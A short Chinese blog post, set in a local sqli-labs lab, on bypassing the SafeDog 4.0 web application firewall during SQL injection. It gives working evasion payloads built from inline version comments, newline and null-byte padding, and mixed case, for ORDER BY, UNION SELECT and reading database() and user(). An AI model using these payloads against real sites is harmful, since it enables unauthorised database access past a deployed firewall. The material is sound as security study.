sql注入之打狗棍法

前言

sql注入是top10大漏洞之一,且最近几年有直追top 1的趋势,也是我们日常遇到的最多的漏洞之一,危害性很大。

初探打狗棍法

这里搭建的环境是php+apache+sqli-lab
最新版的4.0安全狗

第一关
输入一个单引号’报错
报错语句:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

通过报错语句可以初步判断为字符型注入
尝试闭合
1’ –+- 返回成功,说明成功闭合语句

order by 绕过

尝试查询字段

1
1' order by 1 --+-

提交,狗出来了,这时候就需要祭出打狗棍法了!!!,此棍法无狗不出。
尝试空格替换成/**/, 被咬真疼!!
尝试内联注释:

1
/*!50000order*//*!50000by*/ 这狗牙齿有点锋利,被咬了

放绝招了:

1
1'--+-a%0aorder--+-a%0aby--+-a%0a1--+-

哎呀和,又被咬了,杠上了杠上了
那就给你整复杂一点,让你咬不动

1
1' order/*|--|*/--+aaaa%20%0a/*!10044by*//**/3--+-

我就问你一句老弟你懵不懵?
懵了懵了!!!!!
成功干翻狗子

union select 绕过

不断尝试,不断被咬

杠上了!杠上了!

终于配合%00让狗子看懵了

1
'/*|--|*//*!10044UnIon*//*%00*/--+aaaa%20%0a/*!10044SeLECT*//**/11111,2222,3333--+-

狗子表示很懵逼,这啥玩意啊?

绕过敏感函数

1
-1'/*|--|*//*!10044UnIon*//*%00*/--+aaaa%20%0a/*!10044SeLECT*//**/1111,database/*!10044(*/),user/*!10044(*/)--+-\

狗子表示看不懂看不懂

0XAXSDD wechat
-------------本文结束感谢您的阅读-------------